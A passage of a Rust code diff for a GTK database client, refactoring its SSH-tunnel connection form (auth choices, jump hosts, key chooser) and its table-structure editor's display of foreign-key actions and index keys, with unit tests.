..rows(SSH_AUTH_PASSWORD) + let saved = typed.saved().expect("valid rows"); + + let refilled = SshFormState::from_saved(&saved); + + assert_eq!(refilled.saved(), Ok(saved)); + assert_eq!(refilled.auth, SshAuthChoice::KeyboardInteractive); + assert!( + refilled.password.expose_secret().is_empty(), + "a secret came back from the entry" + ); + } + + #[test] + fn a_password_login_carries_and_keeps_the_typed_password() { + let inputs = rows(SshAuthChoice::Password).inputs().expect("valid rows"); + + let SshAuth::Password { password } = &inputs.cfg.auth else { + panic!("expected password auth"); }; - assert_eq!(saved_ssh_from_rows(&missing_user), Err(SshInputError::UserRequired)); - assert_eq!(saved_ssh_from_rows(&rows(7)), Err(SshInputError::UnknownAuth)); + assert_eq!(password.expose_secret(), "s3cret"); + assert!(matches!(inputs.secret_to_store, SshSecretToStore::Password(_))); } #[test] - fn saved_ssh_from_rows_rejects_port_out_of_range() { - for port in [0.0, 65536.0, 22.5, -1.0] { - let invalid = SshRowValues { - port, - ..rows(SSH_AUTH_PASSWORD) - }; - assert_eq!( - saved_ssh_from_rows(&invalid), - Err(SshInputError::PortOutOfRange), - "{port}" - ); - } - let highest = SshRowValues { - port: 65535.0, - ..rows(SSH_AUTH_PASSWORD) + fn a_key_with_no_passphrase_typed_keeps_none() { + let without = rows(SshAuthChoice::PrivateKey).inputs().expect("valid rows"); + assert!(matches!(without.secret_to_store, SshSecretToStore::None)); + + let with = SshFormState { + passphrase: SecretString::from("phrase"), + ..rows(SshAuthChoice::PrivateKey) + } + .inputs() + .expect("valid rows"); + let SshAuth::PrivateKey { passphrase, .. } = &with.cfg.auth else { + panic!("expected key auth"); }; - assert_eq!(saved_ssh_from_rows(&highest).unwrap().port, Some(65535)); + assert_eq!(passphrase.as_ref().map(ExposeSecret::expose_secret), Some("phrase")); + assert!(matches!(with.secret_to_store, SshSecretToStore::Passphrase(_))); + } + + #[test] + fn agent_and_keyboard_interactive_keep_no_secret() { + for auth in [SshAuthChoice::Agent, SshAuthChoice::KeyboardInteractive] { + let inputs = rows(auth).inputs().expect("valid rows"); + assert!(matches!(inputs.secret_to_store, SshSecretToStore::None), "{auth:?}"); + } } } diff --git a/linux/crates/app/src/ui/ssh_section.rs b/linux/crates/app/src/ui/ssh_section.rs index 209f4972ab..38d4c0bc97 100644 --- a/linux/crates/app/src/ui/ssh_section.rs +++ b/linux/crates/app/src/ui/ssh_section.rs @@ -1,242 +1,323 @@ -use relm4::adw::prelude::*; -use relm4::{adw, gtk}; +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::prelude::*; use secrecy::SecretString; -use tablepro_ssh::russh_tunnel::{SshAuth, SshConfig}; -use tablepro_storage::SavedSshConfig; - -use super::ssh_inputs::{SSH_AUTH_PASSWORD, SshRowValues, saved_ssh_from_rows}; -use crate::services::connection_service::{InterimSshAuth, interim_ssh_target}; - -/// SSH section uses a single `AdwPreferencesGroup` containing one -/// `AdwExpanderRow`. The expander's enable-switch toggles whether the -/// tunnel is used; expanding it reveals the host / port / user / auth -/// rows. This is the native Adwaita pattern for an optional sub-form -/// (matches GNOME Settings' "Custom Network Settings" expander). -pub struct SshSection { - pub group: adw::PreferencesGroup, - pub expander: adw::ExpanderRow, - pub auth_combo: adw::ComboRow, - host: adw::EntryRow, - port: adw::SpinRow, - user: adw::EntryRow, - password: adw::PasswordEntryRow, - key_path: adw::EntryRow, - passphrase: adw::PasswordEntryRow, -} +use super::connect_dialog::{FormErrors, FormField, show_problem}; +use super::ssh_inputs::{SshAuthChoice, SshEnvironment, SshFormState}; -#[derive(Clone)] -pub struct SshInputs { - pub cfg: SshConfig, - pub saved: SavedSshConfig, - pub secret_to_store: SshSecretToStore, -} +mod imp { + use std::cell::Cell; + use std::sync::OnceLock; -#[derive(Clone)] -pub enum SshSecretToStore { - Password(SecretString), - Passphrase(SecretString), - None, -} + use glib::subclass::Signal; + use libadwaita::subclass::prelude::*; -impl SshSection { - pub fn build() -> Self { - let group = adw::PreferencesGroup::builder() - .title(crate::i18n::gettext("SSH tunnel")) - .build(); + use super::*; - let expander = adw::ExpanderRow::builder() - .title(crate::i18n::gettext("Use SSH tunnel")) - .subtitle(crate::i18n::gettext("Reach the database through a bastion host")) - .show_enable_switch(true) - .enable_expansion(false) - .build(); - group.add(&expander); + #[derive(Default, gtk4::CompositeTemplate)] + #[template(resource = "/app/tablepro/TablePro/ui/ssh-section.ui")] + pub struct SshSection { + #[template_child] + pub expander: TemplateChild, + #[template_child] + pub host_row: TemplateChild, + #[template_child] + pub port_row: TemplateChild, + #[template_child] + pub user_row: TemplateChild, + #[template_child] + pub jump_row: TemplateChild, + #[template_child] + pub auth_row: TemplateChild, + #[template_child] + pub auth_names: TemplateChild, + #[template_child] + pub password_row: TemplateChild, + #[template_child] + pub key_row: TemplateChild, + #[template_child] + pub key_browse_button: TemplateChild, + #[template_child] + pub passphrase_row: TemplateChild, + /// Set while the code writes the rows, so its own writes are not + /// reported as the user changing them. + pub updating: Cell, + } - let host = adw::EntryRow::builder() - .title(crate::i18n::gettext("Host")) - .activates_default(true) - .build(); - let port = adw::SpinRow::with_range(1.0, 65535.0, 1.0); - port.set_title(&crate::i18n::gettext("Port")); - port.set_value(22.0); - let user = adw::EntryRow::builder() - .title(crate::i18n::gettext("Username")) - .activates_default(true) - .build(); + #[glib::object_subclass] + impl ObjectSubclass for SshSection { + const NAME: &'static str = "TableProSshSection"; + type Type = super::SshSection; + type ParentType = adw::PreferencesGroup; - let auth_pwd = crate::i18n::gettext("Password"); - let auth_key = crate::i18n::gettext("Private key"); - let auth_model = gtk::StringList::new(&[auth_pwd.as_str(), auth_key.as_str()]); - let auth_combo = adw::ComboRow::builder() - .title(crate::i18n::gettext("Authentication")) - .model(&auth_model) - .selected(SSH_AUTH_PASSWORD) - .build(); - - let password = adw::PasswordEntryRow::builder() - .title(crate::i18n::gettext("Password")) - .activates_default(true) - .build(); - let key_path = adw::EntryRow::builder() - .title(crate::i18n::gettext("Private key path")) - .text(default_ssh_key_path()) - .activates_default(true) - .build(); - attach_key_browse_button(&key_path); - let passphrase = adw::PasswordEntryRow::builder() - .title(crate::i18n::gettext("Passphrase")) - .activates_default(true) - .build(); + fn class_init(klass: &mut Self::Class) { + klass.bind_template(); + } - expander.add_row(&host); - expander.add_row(&port); - expander.add_row(&user); - expander.add_row(&auth_combo); - expander.add_row(&password); - expander.add_row(&key_path); - expander.add_row(&passphrase); - - let section = Self { - group, - expander, - auth_combo, - host, - port, - user, - password, - key_path, - passphrase, - }; - section.refresh_auth_visibility(); - section + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } } - pub fn set_visible(&self, visible: bool) { - self.group.set_visible(visible); - if !visible { - self.expander.set_enable_expansion(false); + impl ObjectImpl for SshSection { + fn signals() -> &'static [Signal] { + static SIGNALS: OnceLock> = OnceLock::new(); + SIGNALS.get_or_init(|| vec![Signal::builder("changed").build()]) + } + + fn constructed(&self) { + self.parent_constructed(); + let section = self.obj(); + let labels: Vec = SshAuthChoice::ALL.iter().map(|choice| choice.label()).collect(); + let labels: Vec<&str> = labels.iter().map(String::as_str).collect(); + self.auth_names.splice(0, self.auth_names.n_items(), &labels); + self.key_browse_button.set_icon_name(crate::ui::icons::DOCUMENT_OPEN); + section.refresh_auth_rows(); + + let weak = section.downgrade(); + self.expander.connect_enable_expansion_notify(move |_| { + if let Some(section) = weak.upgrade() { + section.emit_changed(); + } + }); + let weak = section.downgrade(); + self.auth_row.connect_selected_notify(move |_| { + if let Some(section) = weak.upgrade() { + section.refresh_auth_rows(); + section.emit_changed(); + } + }); + let entries: [&adw::EntryRow; 4] = [&self.host_row, &self.port_row, &self.user_row, &self.jump_row]; + for row in entries { + let weak = section.downgrade(); + row.connect_changed(move |_| { + if let Some(section) = weak.upgrade() { + section.emit_changed(); + } + }); + } + let key_row: &adw::EntryRow = &self.key_row; + let weak = section.downgrade(); + key_row.connect_changed(move |_| { + if let Some(section) = weak.upgrade() { + section.emit_changed(); + } + }); + for row in [&self.password_row, &self.passphrase_row] { + let weak = section.downgrade(); + row.connect_changed(move |_| { + if let Some(section) = weak.upgrade() { + section.emit_changed(); + } + }); + } + let weak = section.downgrade(); + self.key_browse_button.connect_clicked(move |_| { + if let Some(section) = weak.upgrade() { + glib::spawn_future_local(async move { section.choose_key().await }); + } + }); } } + impl WidgetImpl for SshSection {} + impl PreferencesGroupImpl for SshSection {} +} + +glib::wrapper! { + /// The optional SSH tunnel. OpenSSH reads the user's own SSH + /// configuration, so a host alias and an empty port or username + /// work the way they do in a terminal. + pub struct SshSection(ObjectSubclass) + @extends adw::PreferencesGroup, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Buildable, gtk4::ConstraintTarget; +} + +impl Default for SshSection { + fn default() -> Self { + glib::Object::new() + } +} + +impl SshSection { pub fn is_enabled(&self) -> bool { - self.expander.enables_expansion() + self.imp().expander.enables_expansion() } - pub fn refresh_auth_visibility(&self) { - let is_password = self.auth_combo.selected() == SSH_AUTH_PASSWORD; - self.password.set_visible(is_password); - self.key_path.set_visible(!is_password); - self.passphrase.set_visible(!is_password); + /// Start from what this machine has: the agent when one runs, else + /// the first key in ~/.ssh. + pub fn apply_environment(&self, environment: &SshEnvironment) { + self.set_rows(&SshFormState::new(environment)); } - pub fn collect(&self) -> Result { - let passphrase_text = self.passphrase.text(); - let rows = SshRowValues { - host: self.host.text().to_string(), - port: self.port.value(), - user: self.user.text().to_string(), - auth_index: self.auth_combo.selected(), - key_path: self.key_path.text().to_string(), - has_passphrase_text: !passphrase_text.is_empty(), - }; - let saved = saved_ssh_from_rows(&rows).map_err(|error| error.message())?; - let target = interim_ssh_target(&saved).map_err(|error| crate::ui::error_text::ssh_message(&error))?; - - let (auth, secret_to_store) = match target.auth { - InterimSshAuth::PrivateKey { path, has_passphrase } => { - let passphrase = has_passphrase.then(|| SecretString::from(passphrase_text.to_string())); - let secret = passphrase - .clone() - .map_or(SshSecretToStore::None, SshSecretToStore::Passphrase); - (SshAuth::PrivateKey { path, passphrase }, secret) - } - InterimSshAuth::Password => { - let password = SecretString::from(self.password.text().to_string()); - ( - SshAuth::Password { - password: password.clone(), - }, - SshSecretToStore::Password(password), - ) + /// The rows as typed, or `None` while the tunnel is off. + pub fn form_state(&self) -> Option { + if !self.is_enabled() { + return None; + } + let imp = self.imp(); + Some(SshFormState { + host: imp.host_row.text().to_string(), + port: imp.port_row.text().to_string(), + user: imp.user_row.text().to_string(), + jump_hosts: imp.jump_row.text().to_string(), + auth: SshAuthChoice::from_index(imp.auth_row.selected()), + key_path: imp.key_row.text().to_string(), + password: SecretString::from(imp.password_row.text().to_string()), + passphrase: SecretString::from(imp.passphrase_row.text().to_string()), + }) + } + + /// Fill the rows and turn the tunnel on, or leave the rows as they + /// are and turn it off. + pub fn set_state(&self, state: Option<&SshFormState>) { + let imp = self.imp(); + match state { + Some(state) => { + self.set_rows(state); + imp.expander.set_enable_expansion(true); } + None => imp.expander.set_enable_expansion(false), + } + } + + pub fn show_problems(&self, errors: &FormErrors) { + let imp = self.imp(); + let message = |field| errors.shown_on(field).map(|problem| problem.message.as_str()); + show_problem(&*imp.host_row, message(FormField::SshHost)); + show_problem(&*imp.port_row, message(FormField::SshPort)); + show_problem(&*imp.user_row, message(FormField::SshUser)); + show_problem(&*imp.jump_row, message(FormField::SshJumpHosts)); + show_problem(&*imp.key_row, message(FormField::SshKeyPath)); + } + + pub fn reveal(&self, field: FormField) { + let imp = self.imp(); + imp.expander.set_expanded(true); + let row: gtk4::Widget = match field { + FormField::SshPort => imp.port_row.get().upcast(), + FormField::SshUser => imp.user_row.get().upcast(), + FormField::SshJumpHosts => imp.jump_row.get().upcast(), + FormField::SshKeyPath => imp.key_row.get().upcast(), + _ => imp.host_row.get().upcast(), }; + row.grab_focus(); + } - Ok(SshInputs { - cfg: SshConfig { - host: target.host, - port: target.port, - username: target.username, - auth, - }, - saved, - secret_to_store, - }) + pub fn connect_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "changed", + false, + glib::closure_local!(move |section: &Self| { + f(section); + }), + ) } -} -fn default_ssh_key_path() -> String { - let ssh_dir = gtk::glib::home_dir().join(".ssh"); - ["id_ed25519", "id_rsa", "id_ecdsa"] - .into_iter() - .map(|candidate| ssh_dir.join(candidate)) - .find(|path| path.exists()) - .map(|path| path.to_string_lossy().into_owned()) - .unwrap_or_default() -} + fn set_rows(&self, state: &SshFormState) { + let imp = self.imp(); + imp.updating.set(true); + imp.host_row.set_text(&state.host); + imp.port_row.set_text(&state.port); + imp.user_row.set_text(&state.user); + imp.jump_row.set_text(&state.jump_hosts); + imp.auth_row.set_selected(state.auth.index()); + imp.key_row.set_text(&state.key_path); + imp.updating.set(false); + self.refresh_auth_rows(); + self.emit_changed(); + } -#[cfg(test)] -impl SshSection { - /// Every text row in the section, with whether Enter submits from - /// it. The port is a spin row, which has no text to submit. - pub(crate) fn rows_activating_default(&self) -> [(&'static str, bool); 5] { - [ - ("host", self.host.activates_default()), - ("user", self.user.activates_default()), - ("password", self.password.activates_default()), - ("key_path", self.key_path.activates_default()), - ("passphrase", self.passphrase.activates_default()), - ] + fn emit_changed(&self) { + if !self.imp().updating.get() { + self.emit_by_name::<()>("changed", &[]); + } } -} -fn attach_key_browse_button(key_path: &adw::EntryRow) { - let button = gtk::Button::builder() - .icon_name(crate::ui::icons::DOCUMENT_OPEN) - .tooltip_text(crate::i18n::gettext("Browse for private key")) - .valign(gtk::Align::Center) - .build(); - button.add_css_class("flat"); - let entry = key_path.clone(); - button.connect_clicked(move |btn| { - let dialog = gtk::FileDialog::builder() - .title(crate::i18n::gettext("Select SSH private key")) - .modal(true) - .build(); - let filter = gtk::FileFilter::new(); + fn refresh_auth_rows(&self) { + let imp = self.imp(); + let auth = SshAuthChoice::from_index(imp.auth_row.selected()); + imp.auth_row.set_subtitle(&auth.description()); + imp.password_row.set_visible(auth == SshAuthChoice::Password); + imp.key_row.set_visible(auth == SshAuthChoice::PrivateKey); + imp.passphrase_row.set_visible(auth == SshAuthChoice::PrivateKey); + } + + async fn choose_key(&self) { + let filter = gtk4::FileFilter::new(); filter.set_name(Some(&crate::i18n::gettext("SSH keys"))); for pattern in ["id_*", "*.pem", "*.key"] { filter.add_pattern(pattern); } filter.add_mime_type("application/x-pem-file"); - let filters = gtk::gio::ListStore::new::(); + let any = gtk4::FileFilter::new(); + any.set_name(Some(&crate::i18n::gettext("All files"))); + any.add_pattern("*"); + let filters = gio::ListStore::new::(); filters.append(&filter); - dialog.set_filters(Some(&filters)); - dialog.set_default_filter(Some(&filter)); - - let ssh_dir = gtk::glib::home_dir().join(".ssh"); - if ssh_dir.exists() { - dialog.set_initial_folder(Some(>k::gio::File::for_path(&ssh_dir))); + filters.append(&any); + let dialog = gtk4::FileDialog::builder() + .title(crate::i18n::gettext("Choose Private Key")) + .modal(true) + .filters(&filters) + .default_filter(&filter) + .build(); + let ssh_dir = glib::home_dir().join(".ssh"); + if ssh_dir.is_dir() { + dialog.set_initial_folder(Some(&gio::File::for_path(&ssh_dir))); } - let entry = entry.clone(); - let parent = btn.root().and_then(|r| r.downcast::().ok()); - dialog.open(parent.as_ref(), gtk::gio::Cancellable::NONE, move |result| { - if let Ok(file) = result - && let Some(path) = file.path() - { - entry.set_text(&path.to_string_lossy()); - } - }); - }); - key_path.add_suffix(&button); + let parent = self.root().and_downcast::(); + if let Some(path) = dialog + .open_future(parent.as_ref()) + .await + .ok() + .and_then(|file| file.path()) + { + self.imp().key_row.set_text(&path.to_string_lossy()); + } + } +} + +#[cfg(test)] +impl SshSection { + /// Every text row in the section, with whether Enter submits from + /// it. + pub(crate) fn rows_activating_default(&self) -> Vec<(&'static str, bool)> { + let imp = self.imp(); + vec![ + ("host", imp.host_row.activates_default()), + ("port", imp.port_row.activates_default()), + ("user", imp.user_row.activates_default()), + ("jump hosts", imp.jump_row.activates_default()), + ("password", imp.password_row.activates_default()), + ("key path", imp.key_row.activates_default()), + ("passphrase", imp.passphrase_row.activates_default()), + ] + } + + pub(crate) fn rows(&self) -> Vec { + let imp = self.imp(); + vec![ + imp.expander.get().upcast(), + imp.host_row.get().upcast(), + imp.port_row.get().upcast(), + imp.user_row.get().upcast(), + imp.jump_row.get().upcast(), + imp.auth_row.get().upcast(), + imp.password_row.get().upcast(), + imp.key_row.get().upcast(), + imp.passphrase_row.get().upcast(), + ] + } + + pub(crate) fn set_host(&self, host: &str) { + self.imp().host_row.set_text(host); + } + + pub(crate) fn enable(&self) { + self.imp().expander.set_enable_expansion(true); + } } diff --git a/linux/crates/app/src/ui/structure_tab/fks.rs b/linux/crates/app/src/ui/structure_tab/fks.rs index 8c34877462..29d1ac67df 100644 --- a/linux/crates/app/src/ui/structure_tab/fks.rs +++ b/linux/crates/app/src/ui/structure_tab/fks.rs @@ -5,6 +5,7 @@ use relm4::adw::prelude::*; use relm4::{ComponentSender, adw, gtk}; use tablepro_core::ForeignKeyInfo; +use tablepro_core::ddl::ReferentialAction; use super::{StructureTab, StructureTabInput}; @@ -30,16 +31,13 @@ pub(super) fn build_fk_row( fk.columns.join(", "), fk.ref_columns.join(", "), ); - // Show ON DELETE / ON UPDATE inline so the user can read the - // referential semantics without re-opening the row. Both fields - // are `Option` — `None` means the driver returned an - // unrecognised value, render a dash; `Some` is the explicit - // action chosen at create time (including "NO ACTION"). + // `None` is an action this build does not know, so it says so rather + // than claiming the default it may not be. if fk.on_delete.is_some() || fk.on_update.is_some() { subtitle.push_str(&format!( " · ON DELETE {} · ON UPDATE {}", - fk.on_delete.as_deref().unwrap_or("—"), - fk.on_update.as_deref().unwrap_or("—"), + action_text(fk.on_delete), + action_text(fk.on_update), )); } @@ -66,3 +64,21 @@ pub(super) fn build_fk_row( row } + +fn action_text(action: Option) -> String { + action.map_or_else( + || crate::i18n::gettext("not reported"), + |action| action.as_sql().to_owned(), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn an_unknown_action_says_it_was_not_reported() { + assert_eq!(action_text(Some(ReferentialAction::SetNull)), "SET NULL"); + assert_eq!(action_text(None), "not reported"); + } +} diff --git a/linux/crates/app/src/ui/structure_tab/indexes.rs b/linux/crates/app/src/ui/structure_tab/indexes.rs index 77eab3f8f6..804bba1848 100644 --- a/linux/crates/app/src/ui/structure_tab/indexes.rs +++ b/linux/crates/app/src/ui/structure_tab/indexes.rs @@ -5,6 +5,7 @@ use relm4::adw::prelude::*; use relm4::{ComponentSender, adw, gtk}; use tablepro_core::IndexInfo; +use tablepro_core::meta::IndexKey; use super::{StructureTab, StructureTabInput}; @@ -23,14 +24,7 @@ fn index_badge(label: &str, accent_class: &str) -> gtk::Label { /// small caption suffixes, the trash button is an end-suffix. The row /// participates in `boxed-list` styling for free; no manual margins. pub(super) fn build_index_row(index: usize, idx: &IndexInfo, sender: ComponentSender) -> adw::ActionRow { - // Empty columns array means the driver returned a malformed index - // (corrupt catalog or driver bug). Render a dim "—" subtitle so - // the user sees something rather than an empty cell. - let subtitle = if idx.columns.is_empty() { - "—".to_string() - } else { - idx.columns.join(", ") - }; + let subtitle = index_key_summary(idx); let row = adw::ActionRow::builder() .title(glib::markup_escape_text(&idx.name)) .subtitle(glib::markup_escape_text(&subtitle)) @@ -63,3 +57,86 @@ pub(super) fn build_index_row(index: usize, idx: &IndexInfo, sender: ComponentSe row } + +/// The keys an index covers, as the subtitle reads them: each column or +/// expression in key order, `DESC` where it sorts descending, and the +/// WHERE of a partial index after them. +/// +/// No keys at all means the driver returned a malformed index, so the +/// subtitle says so rather than staying empty. +fn index_key_summary(index: &IndexInfo) -> String { + if index.keys.is_empty() { + return crate::i18n::gettext("no keys"); + } + let keys: Vec = index + .keys + .iter() + .map(|key| { + let text = match key { + IndexKey::Column { name, .. } => name.as_str(), + IndexKey::Expression { sql, .. } => sql.as_str(), + }; + match key.descending() { + true => format!("{text} DESC"), + false => text.to_owned(), + } + }) + .collect(); + let keys = keys.join(", "); + match index.predicate.as_deref() { + Some(predicate) => format!("{keys} WHERE {predicate}"), + None => keys, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn index(keys: Vec, predicate: Option<&str>) -> IndexInfo { + IndexInfo { + name: "by_email".to_owned(), + keys, + unique: false, + primary: false, + predicate: predicate.map(str::to_owned), + } + } + + #[test] + fn the_summary_reads_each_key_in_order_with_its_direction() { + let summary = index_key_summary(&index( + vec![ + IndexKey::Column { + name: "email".to_owned(), + descending: false, + }, + IndexKey::Expression { + sql: "lower(name)".to_owned(), + descending: true, + }, + ], + None, + )); + + assert_eq!(summary, "email, lower(name) DESC"); + } + + #[test] + fn a_partial_index_shows_its_predicate() { + let summary = index_key_summary(&index( + vec![IndexKey::Column { + name: "email".to_owned(), + descending: false, + }], + Some("deleted_at IS NULL"), + )); + + assert_eq!(summary, "email WHERE deleted_at IS NULL"); + } + + #[test] + fn an_index_without_keys_says_so() { + assert_eq!(index_key_summary(&index(Vec::new(), None)), "no keys"); + } +} diff --git a/linux/crates/app/src/ui/structure_tab/mod.rs b/linux/crates/app/src/ui/structure_tab/mod.rs index 136be05977..ddb3d8e549 100644 --- a/linux/crates/app/src/ui/structure_tab/mod.rs +++ b/linux/crates/app/src/ui/structure_tab/mod.rs @@ -32,13 +32,16 @@ use std::cell::{Cell, RefCell}; use std::rc::Rc; +use std::sync::Arc; use relm4::adw::prelude::*; use relm4::{ComponentParts, ComponentSender, SimpleComponent, adw, gtk}; use sourceview5::prelude::BufferExt; +use tablepro_core::ddl::{ColumnDefinition, TableDefinition}; +use tablepro_core::dialect::SqlDialect; use tablepro_core::sql_ddl::{BuildDdlError, DraftColumn}; -use tablepro_core::{ColumnInfo, ForeignKeyInfo, IndexInfo}; +use tablepro_core::{ForeignKeyInfo, IndexInfo}; use uuid::Uuid; use crate::services::structure_tracker; @@ -94,9 +97,13 @@ pub struct StructureTab { /// produces SQL by walking that diff. Discard simply copies the /// snapshots back over the live fields. original_table_name: Rc>, - original_columns: Rc>>, + original_columns: Rc>>, original_indexes: Rc>>, original_fks: Rc>>, + /// The connection's dialect, which spells renames and default drops + /// per server. `None` until the session hands it over, and the SQL + /// cannot be written before then. + dialect: Rc>>>, // Widget refs we touch from `update`. inner_stack: gtk::Stack, @@ -160,10 +167,11 @@ pub struct StructureTab { #[derive(Debug)] pub enum StructureTabInput { StructureLoaded { - columns: Vec, - indexes: Vec, - fks: Vec, + definition: Box, + dialect: Arc, }, + /// The dialect for a New-mode draft, which has no table to read. + DialectReady(Arc), LoadFailed(String), Save, Discard, @@ -304,11 +312,19 @@ impl StructureTab { } } + /// The statements `ops` become on this connection, or `None` while + /// the tab has no dialect to spell them in. + fn materialize(&self, ops: &[StructureOp]) -> Option, BuildDdlError>> { + let dialect = self.dialect.borrow().clone()?; + Some(materialize_ops(ops, &self.driver_id, &*dialect)) + } + fn regenerate_sql_preview_from(&self, ops: &[StructureOp]) { - let text = match materialize_ops(ops, &self.driver_id) { - Ok(stmts) if !stmts.is_empty() => stmts.join(";\n\n") + ";", - Ok(_) => crate::i18n::gettext("-- No pending changes."), - Err(e) => format!("-- {e}"), + let text = match self.materialize(ops) { + Some(Ok(stmts)) if !stmts.is_empty() => stmts.join(";\n\n") + ";", + Some(Ok(_)) => crate::i18n::gettext("-- No pending changes."), + Some(Err(e)) => format!("-- {e}"), + None => crate::i18n::gettext("-- Connect to a database to see the SQL."), }; self.sql_buffer.set_text(&text); } @@ -810,6 +826,7 @@ impl SimpleComponent for StructureTab { original_columns: Rc::new(RefCell::new(Vec::new())), original_indexes: Rc::new(RefCell::new(Vec::new())), original_fks: Rc::new(RefCell::new(Vec::new())), + dialect: Rc::new(RefCell::new(None)), inner_stack, error_status: error_status.clone(), name_entry, @@ -837,19 +854,25 @@ impl SimpleComponent for StructureTab { fn update(&mut self, msg: Self::Input, sender: ComponentSender) { match msg { - StructureTabInput::StructureLoaded { columns, indexes, fks } => { - // App coalesces the three fetches into one message. + StructureTabInput::StructureLoaded { definition, dialect } => { // Snapshot all three lists into `original_*` slots so // Discard restores the canonical loaded state without // a refetch — including columns the user later removed // (whose `DraftColumn.original` would otherwise vanish // when the row is dropped from `self.columns`). + let TableDefinition { + columns, + indexes, + foreign_keys, + .. + } = *definition; + *self.dialect.borrow_mut() = Some(dialect); *self.original_columns.borrow_mut() = columns.clone(); - *self.columns.borrow_mut() = columns.into_iter().map(DraftColumn::from_info).collect(); + *self.columns.borrow_mut() = columns.into_iter().map(DraftColumn::from_definition).collect(); *self.indexes.borrow_mut() = indexes.clone(); *self.original_indexes.borrow_mut() = indexes; - *self.foreign_keys.borrow_mut() = fks.clone(); - *self.original_fks.borrow_mut() = fks; + *self.foreign_keys.borrow_mut() = foreign_keys.clone(); + *self.original_fks.borrow_mut() = foreign_keys; self.inner_stack.set_visible_child_name("editor"); // End of refetch window: snapshots are now authoritative, // so resume diff-based dirty tracking. The recompute call @@ -860,6 +883,10 @@ impl SimpleComponent for StructureTab { self.recompute_dirty_state(&sender); sender.input(StructureTabInput::Refresh); } + StructureTabInput::DialectReady(dialect) => { + *self.dialect.borrow_mut() = Some(dialect); + self.regenerate_sql_preview_from(&self.current_diff_ops()); + } StructureTabInput::LoadFailed(message) => { // Surface the driver error inline on the StatusPage — // a modal AdwAlertDialog would duplicate the same @@ -997,22 +1024,27 @@ impl SimpleComponent for StructureTab { return; } let ops = self.current_diff_ops(); - match materialize_ops(&ops, &self.driver_id) { - Ok(statements) if !statements.is_empty() => { + match self.materialize(&ops) { + Some(Ok(statements)) if !statements.is_empty() => { self.save_button.set_sensitive(false); self.discard_button.set_sensitive(false); let _ = sender.output(StructureTabOutput::ExecuteTransaction { statements }); } - Ok(_) => { + Some(Ok(_)) => { let _ = sender.output(StructureTabOutput::ShowToast(crate::i18n::gettext("Nothing to save."))); } - Err(BuildDdlError::SqliteNotSupported(detail)) => { + None => { + let _ = sender.output(StructureTabOutput::ShowToast(crate::i18n::gettext( + "Connect to a database first.", + ))); + } + Some(Err(BuildDdlError::SqliteNotSupported(detail))) => { let _ = sender.output(StructureTabOutput::ShowAlert { title: crate::i18n::gettext("Cannot save"), body: crate::i18n::gettext_f("SQLite doesn't support: {detail}", &[("detail", detail)]), }); } - Err(e) => { + Some(Err(e)) => { let _ = sender.output(StructureTabOutput::ShowAlert { title: crate::i18n::gettext("Cannot save"), body: format!("{e}"), @@ -1036,7 +1068,7 @@ impl SimpleComponent for StructureTab { .borrow() .iter() .cloned() - .map(DraftColumn::from_info) + .map(DraftColumn::from_definition) .collect(); *self.indexes.borrow_mut() = self.original_indexes.borrow().clone(); *self.foreign_keys.borrow_mut() = self.original_fks.borrow().clone(); diff --git a/linux/crates/app/src/ui/structure_tab_dialogs.rs b/linux/crates/app/src/ui/structure_tab_dialogs.rs index 31311c7dc5..6a8a5521da 100644 --- a/linux/crates/app/src/ui/structure_tab_dialogs.rs +++ b/linux/crates/app/src/ui/structure_tab_dialogs.rs @@ -21,6 +21,8 @@ use std::rc::Rc; use relm4::adw::prelude::*; use relm4::{ComponentSender, adw, gtk}; +use tablepro_core::ddl::ReferentialAction; +use tablepro_core::meta::IndexKey; use tablepro_core::sql_ddl::DraftColumn; use tablepro_core::{ForeignKeyInfo, IndexInfo}; @@ -178,9 +180,16 @@ pub(super) fn present_index_dialog( } sender_for_resp.input(StructureTabInput::AddIndex(IndexInfo { name, - columns: cols, + keys: cols + .into_iter() + .map(|name| IndexKey::Column { + name, + descending: false, + }) + .collect(), unique: unique_row.is_active(), primary: false, + predicate: None, })); dialog_for_submit.close(); }); @@ -195,6 +204,7 @@ pub(super) fn present_fk_dialog( sender: ComponentSender, ) { let fk_actions = tablepro_core::sql_ddl::supported_fk_actions(driver_id); + let action_labels = action_labels(fk_actions); let (dialog, body, submit_btn) = build_form_dialog(&crate::i18n::gettext("Add Foreign Key"), &crate::i18n::gettext("Add")); @@ -230,12 +240,12 @@ pub(super) fn present_fk_dialog( ref_group.add(&ref_cols_row); let on_delete_row = adw::ComboRow::builder() .title(crate::i18n::gettext("On delete")) - .model(>k::StringList::new(fk_actions)) + .model(>k::StringList::new(&action_labels)) .build(); ref_group.add(&on_delete_row); let on_update_row = adw::ComboRow::builder() .title(crate::i18n::gettext("On update")) - .model(>k::StringList::new(fk_actions)) + .model(>k::StringList::new(&action_labels)) .build(); ref_group.add(&on_update_row); body.append(&ref_group); @@ -294,12 +304,9 @@ pub(super) fn present_fk_dialog( Some((s, t)) => (Some(s.trim().to_string()), t.trim().to_string()), None => (None, ref_table), }; - // Preserve the user's explicit "NO ACTION" choice as - // `Some("NO ACTION")`. Reserve `None` for the - // driver-returned-unknown case so the SQL emitter can choose - // sensibly per dialect (MySQL implicit RESTRICT vs Postgres - // implicit NO ACTION). - let action_at = |idx: u32| -> Option { fk_actions.get(idx as usize).map(|s| (*s).to_string()) }; + // An explicit NO ACTION stays `Some`: `None` is reserved for an + // action the driver reported that this build does not know. + let action_at = |row: u32| action_for_row(fk_actions, row); sender_for_resp.input(StructureTabInput::AddForeignKey(ForeignKeyInfo { name, columns: cols, @@ -315,6 +322,17 @@ pub(super) fn present_fk_dialog( dialog.present(Some(parent)); } +/// The combo labels for the actions an engine accepts, in its order. +fn action_labels(actions: &[ReferentialAction]) -> Vec<&'static str> { + actions.iter().map(|action| action.as_sql()).collect() +} + +/// The action a combo row stands for. The rows are built from the +/// same list, so a row past its end can only be a stale selection. +fn action_for_row(actions: &[ReferentialAction], row: u32) -> Option { + actions.get(row as usize).copied() +} + #[cfg(test)] mod tests { use std::sync::atomic::{AtomicUsize, Ordering}; @@ -391,6 +409,20 @@ mod tests { ); } + #[test] + fn 